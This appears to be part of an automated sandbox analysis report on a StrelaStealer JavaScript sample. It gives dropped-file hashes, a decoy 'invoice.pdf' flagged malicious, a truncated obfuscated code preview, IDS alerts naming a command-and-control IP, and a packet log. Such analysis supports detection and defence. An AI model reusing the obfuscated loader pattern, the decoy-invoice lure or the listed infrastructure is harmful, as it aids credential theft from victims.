Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a0cb3152-d12c-42cd-9b68-13962118d910.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fc75ef08-7752-4028-a3b4-078b53ca1485.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17275), with CRLF line terminators
Entropy (8bit):	4.881036876040943
TrID:
File name:	6043249381237528594.js
File size:	20'548 bytes
MD5:	384badf0f75481a2a311290dcd28f457
SHA1:	47d9edab1eff959148afb5453454eb1cb4980fe9
SHA256:	bef6b3170478c8a9afd0e661903a672315c3f5715f849a52ad73cea8d5c0789b
SHA512:	4e3c713b77eb684e08127ca848cd22c934945440995a70aaf0ec79394830e4cb8c4e7d2478e30540ca3f894f9f4a125703169807dab36c3ef230a75edd020b14
SSDEEP:	384:JS86iSWxDjirKS+47e68Mlf1E/lAPxnfIX1tg3:JpSKO8jAPxn+1tg3
TLSH:	A69240808413EF902EF808B9589694F8B36843DDAFF5A1952D2F70EC5D158BEB4C94B7
File Content Preview:	function jdxvlr(){ppuhku=[1031,3079,5127,4103,2055,3072];var mtdczxj=this[krykbb+qwbetzmu+aedyp+jjsck+cckql+entkuvps+ayctp+lzqwd](this[fvpnepg+uwiatjc+tkseawro+aedyp+wljtv+krykbb+lzqwd][vvzewfg+aedyp+cckql+qwbetzmu+lzqwd+cckql+ftzcs+ukmvchp+lhnff+cckql+tk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:24:44.304365+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49743	193.143.1.205	80	TCP
2025-01-11T06:24:44.304365+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49743	193.143.1.205	80	TCP
2025-01-11T06:24:46.861730+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49762	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:24:43.495675087 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:43.500526905 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:43.500619888 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:43.503854990 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:43.508703947 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.304230928 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.304275036 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.304311037 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.304364920 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.304379940 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.304414034 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.304444075 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.304449081 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.304482937 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.304534912 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.304536104 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.304569960 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.304605961 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.304615974 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.304682016 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.312118053 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.352379084 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.352413893 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.352463007 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.392981052 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.436542034 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.436582088 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.436619043 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.436650991 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.436651945 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.436688900 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.436701059 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.436988115 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437022924 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437062025 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437076092 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.437107086 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.437109947 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437145948 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437194109 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.437426090 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437460899 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437505960 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.437530041 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437589884 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437627077 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437669039 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.437711000 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437746048 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437779903 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437793016 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.437813997 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437824011 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.437849045 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437895060 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.437939882 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.486320972 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.486392021 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.520903111 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.520944118 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.520978928 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.521009922 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.553993940 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554064989 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.554065943 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554102898 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554136992 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554250956 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554261923 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.554289103 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554308891 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.554411888 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554459095 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.554478884 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554513931 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554548979 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554562092 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.554924965 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554960966 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.554996014 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.555010080 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.555031061 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.555042028 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.555067062 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.555118084 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.555655956 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.555708885 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.555766106 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.555779934 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.555798054 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.555815935 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.555852890 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.555870056 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.555947065 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.556569099 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.556602955 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.556638002 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.556679964 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.556724072 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.556756973 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.556792021 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.556807995 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.556885004 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.557533979 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.557569027 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.557624102 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.557637930 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.557663918 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.557671070 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.557697058 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.557706118 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.558423042 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.558473110 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.558523893 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.558558941 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.558583975 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.558592081 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.558628082 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.558650970 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.558661938 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.558713913 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.559379101 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.577088118 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.577133894 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.577171087 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.577559948 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.611594915 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.611663103 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.611828089 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.646122932 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.646142960 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.646169901 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.646186113 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.646203995 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.646207094 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.646255016 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.678997040 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.679049969 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.679086924 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.679085970 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.679143906 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.679157972 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.679200888 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.679243088 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.679251909 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.679287910 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.679339886 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.679344893 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.679379940 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.679414034 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.679425001 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.679454088 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.679497004 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.680093050 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.680145979 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.680182934 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.680195093 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.680217028 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.680250883 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.680270910 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.680286884 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.680332899 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.681051016 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.681099892 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.681134939 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.681143999 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.681169987 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.681206942 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.681219101 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.681871891 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.681907892 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.681921959 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.681943893 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.681977034 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.681988001 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.682013035 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.682049036 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.682060957 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.682703972 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.682758093 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.682765961 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.682794094 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.682828903 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.682843924 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.682862997 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.682902098 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.682931900 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.683615923 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.683669090 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.683676958 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.683705091 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.683738947 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.683747053 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.683773994 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.683808088 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.683816910 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.684561014 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.684617043 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.684624910 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.684653044 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.684686899 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.684706926 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.684722900 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.684757948 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.684766054 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.685596943 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.685631990 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.685657978 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.685671091 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.685704947 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.685717106 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.685739994 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.685775042 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.685784101 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.686517954 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.686553955 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.686577082 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.686589003 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.686623096 CET	80	49743	193.143.1.205	192.168.2.9
